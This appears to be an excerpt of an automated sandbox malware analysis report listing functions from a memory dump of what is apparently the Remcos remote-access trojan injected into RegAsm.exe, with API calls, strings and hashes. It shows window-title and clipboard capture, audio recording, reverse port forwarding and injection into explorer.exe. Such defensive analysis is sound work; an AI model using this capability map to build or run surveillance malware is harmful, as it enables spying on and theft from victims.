                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                              • String ID: \@E
                              • API String ID: 201697637-1814623452
                              • Opcode ID: b82298bc980002c4571abe1a7b6d85811e1f97afd47d25fecd247c7af7e2facf
                              • Instruction ID: bd5a1837779a5f2dcb5c2ea5aeb828518df7829aba760434011a70bbc407b236
                              • Opcode Fuzzy Hash: b82298bc980002c4571abe1a7b6d85811e1f97afd47d25fecd247c7af7e2facf
                              • Instruction Fuzzy Hash: E391F472E002069ADB209E65CC42AEFBBF59F09756F14052BFC01E7282D739DD89C768
                              Function 00450A25 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free
                              • String ID: \&G$\&G$`&G
                              • API String ID: 269201875-253610517
                              • Opcode ID: 97c3add27e511c4221db80506819b16e682529302af84ee57927f6cd57728be0
                              • Instruction ID: 0b3297c67b001fbc5a9f4fbe1fd197d652097ca420ae28a40b4f72db8b3ed5d1
                              • Opcode Fuzzy Hash: 97c3add27e511c4221db80506819b16e682529302af84ee57927f6cd57728be0
                              • Instruction Fuzzy Hash: 77610475900204AFDB20CFA9C882B9ABBF4EF05315F14416BED58EB342D774AD458B98
                              Function 00414BB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: 65535$udp
                              • API String ID: 0-1267037602
                              • Opcode ID: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                              • Instruction ID: ff24d6befd6f0703c902a6165bd45161ed4db0fb5f75d2635e7e580b9b2721aa
                              • Opcode Fuzzy Hash: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                              • Instruction Fuzzy Hash: EF51E7756093019FDB209B58E9057BB37A4AFC4755F08082FF881973A1E76DCCC1865E
                              Function 0040ACD6 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156sleepCOMMON
                              Download Yara Rule
                              APIs
                              • __Init_thread_footer.LIBCMT ref: 0040AD38
                              • Sleep.KERNEL32(000001F4), ref: 0040AD43
                              • GetForegroundWindow.USER32 ref: 0040AD49
                              • GetWindowTextLengthW.USER32 ref: 0040AD52
                              • GetWindowTextW.USER32 ref: 0040AD86
                              • Sleep.KERNEL32(000003E8), ref: 0040AE54
                                • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                              • String ID: [${ User has been idle for $ minutes }$]
                              • API String ID: 911427763-3954389425
                              • Opcode ID: 1fd890e2d21f894b0b3b077f7e4e96656cdfff5721ec9a02ea1a5f8763c76f61
                              • Instruction ID: 3d5ee5432c15115af2c0f1375ae13a0ba8112eb59c463c5c733e63bb31497985
                              • Opcode Fuzzy Hash: 1fd890e2d21f894b0b3b077f7e4e96656cdfff5721ec9a02ea1a5f8763c76f61
                              • Instruction Fuzzy Hash: 6D51B1316043419BD314FB21D846AAE7796AB84308F50093FF586A22E2EF7C9D45C69F
                              Function 0043A83A Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A892
                              • GetLastError.KERNEL32(?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A89F
                              • __dosmaperr.LIBCMT ref: 0043A8A6
                              • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8D2
                              • GetLastError.KERNEL32(?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8DC
                              • __dosmaperr.LIBCMT ref: 0043A8E3
                              • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401D55,?), ref: 0043A926
                              • GetLastError.KERNEL32(?,?,?,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A930
                              • __dosmaperr.LIBCMT ref: 0043A937
                              • _free.LIBCMT ref: 0043A943
                              • _free.LIBCMT ref: 0043A94A
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                              • String ID:
                              • API String ID: 2441525078-0
                              • Opcode ID: ad6d2cb2e677ca1b0a2e36bb2f761ff70c692d274a08f618d4296a8b89361871
                              • Instruction ID: 785efe6d9c8e3fffb8b85045f967b8474775cb8629fdf0d32462ae01257f7f2e
                              • Opcode Fuzzy Hash: ad6d2cb2e677ca1b0a2e36bb2f761ff70c692d274a08f618d4296a8b89361871
                              • Instruction Fuzzy Hash: FF31F57140420AFFDF01AFA5CC45DAF3B68EF09325F10021AF950662A1DB38CD21DB6A
                              Function 004054A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                              Download Yara Rule
                              APIs
                              • SetEvent.KERNEL32(?,?), ref: 004054BF
                              • GetMessageA.USER32 ref: 0040556F
                              • TranslateMessage.USER32(?), ref: 0040557E
                              • DispatchMessageA.USER32 ref: 00405589
                              • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00405641
                              • HeapFree.KERNEL32(00000000,00000000,0000003B), ref: 00405679
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                              • String ID: CloseChat$DisplayMessage$GetMessage
                              • API String ID: 2956720200-749203953
                              • Opcode ID: 2eb2f374b938242071c93788593a146c5cd764c3a8e17b9f296123b837d09fc8
                              • Instruction ID: c1940132788662b917c5ec79ff16bb55de46c7435784779dc5fc992d72e4b12f
                              • Opcode Fuzzy Hash: 2eb2f374b938242071c93788593a146c5cd764c3a8e17b9f296123b837d09fc8
                              • Instruction Fuzzy Hash: CE41A171604701ABCB14FB75DC5A86F37A9AB85704F40093EF916A36E1EF3C8905CB9A
                              Function 00417CDF Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 108filesynchronizationCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00417F2C: __EH_prolog.LIBCMT ref: 00417F31
                              • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,004660A4), ref: 00417DDC
                              • CloseHandle.KERNEL32(00000000), ref: 00417DE5
                              • DeleteFileA.KERNEL32(00000000), ref: 00417DF4
                              • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00417DA8
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWaitsend
                              • String ID: 0VG$0VG$<$@$Temp
                              • API String ID: 1704390241-2575729100
                              • Opcode ID: 80039bebc9300f329d7d4246b0ce8421c0d0be0a5475c1be6c4e1aa994d609e9
                              • Instruction ID: cfce1e327495ca125f9f778a73892d1ad62a3a088d665d9de3c725e9e650d499
                              • Opcode Fuzzy Hash: 80039bebc9300f329d7d4246b0ce8421c0d0be0a5475c1be6c4e1aa994d609e9
                              • Instruction Fuzzy Hash: 0E415F319002099BCB14FB62DC56AEE7775AF40318F50417EF506764E1EF7C1A8ACB99
                              Function 00416940 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 46clipboardCOMMON
                              Download Yara Rule
                              APIs
                              • OpenClipboard.USER32 ref: 00416941
                              • EmptyClipboard.USER32 ref: 0041694F
                              • CloseClipboard.USER32 ref: 00416955
                              • OpenClipboard.USER32 ref: 0041695C
                              • GetClipboardData.USER32 ref: 0041696C
                              • GlobalLock.KERNEL32 ref: 00416975
                              • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                              • CloseClipboard.USER32 ref: 00416984
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                              • String ID: !D@
                              • API String ID: 2172192267-604454484
                              • Opcode ID: 4530cadbb14fddee25ef175d735482f5b7b1ecf010632631c9690fb3e5ed724f
                              • Instruction ID: 305b70c8a6b081cbeb1fc088e42579eafb4add048c4ccd3ac1cf7446a02d8759
                              • Opcode Fuzzy Hash: 4530cadbb14fddee25ef175d735482f5b7b1ecf010632631c9690fb3e5ed724f
                              • Instruction Fuzzy Hash: CC015E31214301DFC714BB72DC09AAE77A5AF88742F40047EF906821E2DF38CC44CA69
                              Function 004132D2 Relevance: 15.2, APIs: 10, Instructions: 153fileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00413417
                              • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00413425
                              • GetFileSize.KERNEL32(?,00000000), ref: 00413432
                              • UnmapViewOfFile.KERNEL32(00000000), ref: 00413452
                              • CloseHandle.KERNEL32(00000000), ref: 0041345F
                              • CloseHandle.KERNEL32(?), ref: 00413465
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$CloseHandleView$CreateMappingSizeUnmap
                              • String ID:
                              • API String ID: 297527592-0
                              • Opcode ID: c8607eadb7f648cd119cf038169f51a0334e47929f95f9aa533bbd49f0d75183
                              • Instruction ID: 9e0538afe5582c7c3c7070a3da709670e2bb39b60280b40541f30be5467d1837
                              • Opcode Fuzzy Hash: c8607eadb7f648cd119cf038169f51a0334e47929f95f9aa533bbd49f0d75183
                              • Instruction Fuzzy Hash: ED41E631108305BBD7109F25DC4AF6B3BACEF89726F10092AFA14D51A2DF38DA40C66E
                              Function 0041AB0D Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                              Download Yara Rule
                              APIs
                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB1C
                              • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB33
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB40
                              • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB4F
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB60
                              • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB63
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Service$CloseHandle$Open$ControlManager
                              • String ID:
                              • API String ID: 221034970-0
                              • Opcode ID: f803f1007c82734b6722f6408504697e53103f3d97c358fc3be63c7478a3d497
                              • Instruction ID: 6fbe0b082825830d9e24babaefac53afed48758aa8e56b4d18e4903ff4329a9c
                              • Opcode Fuzzy Hash: f803f1007c82734b6722f6408504697e53103f3d97c358fc3be63c7478a3d497
                              • Instruction Fuzzy Hash: 41114C71901218AFD711AF64DCC4DFF3B7CDB42B62B000036FA05D2192DB289C46AAFA
                              Function 00448121 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                              Download Yara Rule
                              APIs
                              • _free.LIBCMT ref: 00448135
                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                              • _free.LIBCMT ref: 00448141
                              • _free.LIBCMT ref: 0044814C
                              • _free.LIBCMT ref: 00448157
                              • _free.LIBCMT ref: 00448162
                              • _free.LIBCMT ref: 0044816D
                              • _free.LIBCMT ref: 00448178
                              • _free.LIBCMT ref: 00448183
                              • _free.LIBCMT ref: 0044818E
                              • _free.LIBCMT ref: 0044819C
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ErrorFreeHeapLast
                              • String ID:
                              • API String ID: 776569668-0
                              • Opcode ID: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                              • Instruction ID: 63500befab30bf138fa449b3e81d3956d19e40097f86fc95f12732a98ce5ff4f
                              • Opcode Fuzzy Hash: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                              • Instruction Fuzzy Hash: C211B67A500508BFEB01EF96C842CDD3BA5FF05359B0240AAFA588F222DA35DF509BC5
                              Function 004114F5 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 191COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Eventinet_ntoa
                              • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$NG
                              • API String ID: 3578746661-3604713145
                              • Opcode ID: 0aaec6cc8c90d6b1939344197441932741b7c983eabe6e48104fb2666182c0a3
                              • Instruction ID: 71dfdc03858149a45142756d2b421c0b7bbb6d70992310a40494c7f1f0681c69
                              • Opcode Fuzzy Hash: 0aaec6cc8c90d6b1939344197441932741b7c983eabe6e48104fb2666182c0a3
                              • Instruction Fuzzy Hash: 0051C131A042015BC614FB36C91AAAE37A5AB85344F40453FF906A76F1EF7C8985C7DE
                              Function 00455F04 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00456FFF), ref: 00455F27
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: DecodePointer
                              • String ID: acos$asin$exp$log$log10$pow$sqrt
                              • API String ID: 3527080286-3064271455
                              • Opcode ID: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                              • Instruction ID: ff4fc8d1aadbe784407353d8516796ad37925c88dabf63da6293f70e8270e0de
                              • Opcode Fuzzy Hash: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                              • Instruction Fuzzy Hash: 16519F71900909CBCF10CF58E9485BEBBB0FF49306FA14197D841A73A6DB399D298B1E
                              Function 00417495 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON
                              Download Yara Rule
                              APIs
                              • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 004174F5
                                • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                              • Sleep.KERNEL32(00000064), ref: 00417521
                              • DeleteFileW.KERNEL32(00000000), ref: 00417555
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$CreateDeleteExecuteShellSleep
                              • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                              • API String ID: 1462127192-2001430897
                              • Opcode ID: 80bc1f01d41e6bb49ab2ea0752573067485f1394140a330d823018e0c212e60a
                              • Instruction ID: 51d64fe7c8a5c54eac4555a52c350958ac4104e8f54c8767ba2a87230734c78e
                              • Opcode Fuzzy Hash: 80bc1f01d41e6bb49ab2ea0752573067485f1394140a330d823018e0c212e60a
                              • Instruction Fuzzy Hash: 1431307194011A9ADB04FB62DC96DED7779AF50309F40017EF606730E2EF785A8ACA9C
                              Function 004073AC Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON
                              Download Yara Rule
                              APIs
                              • GetCurrentProcess.KERNEL32(00472B14,00000000,004752D8,00003000,00000004,00000000,00000001), ref: 004073DD
                              • GetCurrentProcess.KERNEL32(00472B14,00000000,00008000,?,00000000,00000001,00000000,00407656,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe), ref: 0040749E
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CurrentProcess
                              • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
                              • API String ID: 2050909247-4242073005
                              • Opcode ID: 1dcac826a5e52bf6061f4ebfcee704f683c74aacb316ad2bc9bf89965cfe4023
                              • Instruction ID: f630994b7aed3d2c1b9b8fa2b3e4f68b22e8b08ead4833dea6669ff7d567ef23
                              • Opcode Fuzzy Hash: 1dcac826a5e52bf6061f4ebfcee704f683c74aacb316ad2bc9bf89965cfe4023
                              • Instruction Fuzzy Hash: 7031A471A04700ABD321FF65ED46F167BB8AB44305F10087EF515A6292E7B8B8448B6F
                              Function 00401D0B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                              Download Yara Rule
                              APIs
                              • _strftime.LIBCMT ref: 00401D50
                                • Part of subcall function 00401A6D: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                              • waveInUnprepareHeader.WINMM(00472A88,00000020,00000000), ref: 00401E02
                              • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401E40
                              • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401E4F
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                              • String ID: %Y-%m-%d %H.%M$.wav$dMG$|MG
                              • API String ID: 3809562944-243156785
                              • Opcode ID: 2a82ab0076c0d6d6c8320c03c1c844241e91b5265a3fceccd43811ae68df0b86
                              • Instruction ID: 027c37fd5a1300b84eaed5fd93cda356eabc1c7fedb6cd9f381e221a57c36ff8
                              • Opcode Fuzzy Hash: 2a82ab0076c0d6d6c8320c03c1c844241e91b5265a3fceccd43811ae68df0b86
                              • Instruction Fuzzy Hash: 383181315043019FC324EB21DD46A9A77A8EB84314F40443EF18DA21F2EFB89A49CB5E
                              Function 00410E61 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75COMMON
                              Download Yara Rule
                              APIs
                              • std::_Lockit::_Lockit.LIBCPMT ref: 00410E6E
                              • int.LIBCPMT ref: 00410E81
                                • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                                • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                              • std::_Facet_Register.LIBCPMT ref: 00410EC1
                              • std::_Lockit::~_Lockit.LIBCPMT ref: 00410ECA
                              • __CxxThrowException@8.LIBVCRUNTIME ref: 00410EE8
                              • __Init_thread_footer.LIBCMT ref: 00410F29
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
                              • String ID: ,kG$0kG
                              • API String ID: 3815856325-2015055088
                              • Opcode ID: e0f3714a3daeaf8b288ae2a542907f179217b7f89c568a0a8b7367a1e9159da3
                              • Instruction ID: 12cf7b7900226bd12227407fb3b1cbab205c4dd0745ae636880afd2a72082c2f
                              • Opcode Fuzzy Hash: e0f3714a3daeaf8b288ae2a542907f179217b7f89c568a0a8b7367a1e9159da3
                              • Instruction Fuzzy Hash: 162134329005249BC704EB6AD9428DE37A8EF48324F20056FF804A72D1DBB9AD81CB9D
                              Function 00401BE9 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON
                              Download Yara Rule
                              APIs
                              • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00401BF9
                              • waveInOpen.WINMM(00472AC0,000000FF,00472AA8,Function_00001D0B,00000000,00000000), ref: 00401C8F
                              • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401CE3
                              • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401CF2
                              • waveInStart.WINMM ref: 00401CFE
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                              • String ID: dMG$|MG$PG
                              • API String ID: 1356121797-532278878
                              • Opcode ID: f67d326050ea03177529252cfca037bf538e61c655dad41bf55bf31ac8308c8f
                              • Instruction ID: ba088f7df0b955e0db37e5e5e2d8d6799d5f59e9c832501e8260ac80857d70f0
                              • Opcode Fuzzy Hash: f67d326050ea03177529252cfca037bf538e61c655dad41bf55bf31ac8308c8f
                              • Instruction Fuzzy Hash: 53212A71604201AFC739DF6AEE15A6A7BB6FB94715B00803FA10DD76B1DBB84881CB5C
                              Function 0041D45D Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D476
                                • Part of subcall function 0041D50F: RegisterClassExA.USER32 ref: 0041D55B
                                • Part of subcall function 0041D50F: CreateWindowExA.USER32 ref: 0041D576
                                • Part of subcall function 0041D50F: GetLastError.KERNEL32 ref: 0041D580
                              • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041D4AD
                              • lstrcpynA.KERNEL32(00474B60,Remcos,00000080), ref: 0041D4C7
                              • Shell_NotifyIconA.SHELL32(00000000,00474B48), ref: 0041D4DD
                              • TranslateMessage.USER32(?), ref: 0041D4E9
                              • DispatchMessageA.USER32 ref: 0041D4F3
                              • GetMessageA.USER32 ref: 0041D500
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                              • String ID: Remcos
                              • API String ID: 1970332568-165870891
                              • Opcode ID: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                              • Instruction ID: 4ccd8a34d55b2cf311069b5b9598b364b65d9d4e2968dcdf9eb94a5ca0393a4d
                              • Opcode Fuzzy Hash: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                              • Instruction Fuzzy Hash: AC015271800245EBD7109FA5EC4CFEABB7CEB85705F004026F515930A1D778E885CB98
                              Function 0044CD80 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 7e166faf4fed60888f6d9a5ae5c37c00b97c36b417cf054fc87f790b28aa2c34
                              • Instruction ID: c2c0890efeac2311cc0422bbb5d66c498191acafde20d8af94b1f6b0c86a236e
                              • Opcode Fuzzy Hash: 7e166faf4fed60888f6d9a5ae5c37c00b97c36b417cf054fc87f790b28aa2c34
                              • Instruction Fuzzy Hash: 5AC1D770D04249AFEF11DFA9C881BAEBBB4EF09314F18415AE914A7392C77C9D41CB69
                              Function 0041490A Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: tcp$udp
                              • API String ID: 0-3725065008
                              • Opcode ID: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                              • Instruction ID: c6aeaafd44a905d145cb4251883953767b251f71b123717361be5a5837da4da2
                              • Opcode Fuzzy Hash: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                              • Instruction Fuzzy Hash: 637177B06083028FDB24CF65C480BABB7E4AFD4395F15442FF88986351E778DD858B9A
                              Function 0040186A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                              Download Yara Rule
                              APIs
                              • __Init_thread_footer.LIBCMT ref: 004018BE
                              • ExitThread.KERNEL32 ref: 004018F6
                              • waveInUnprepareHeader.WINMM(?,00000020,00000000), ref: 00401A04
                                • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                              • String ID: PkG$XMG$NG$NG
                              • API String ID: 1649129571-3151166067
                              • Opcode ID: d792f27428e216ec403bd2c8f2a7274a29a7ee60ee52af981f0ff1553ee06993
                              • Instruction ID: 5b8630810f78da979eb204bf693be1d55f2004797ab3201abec5cd50ea38d472
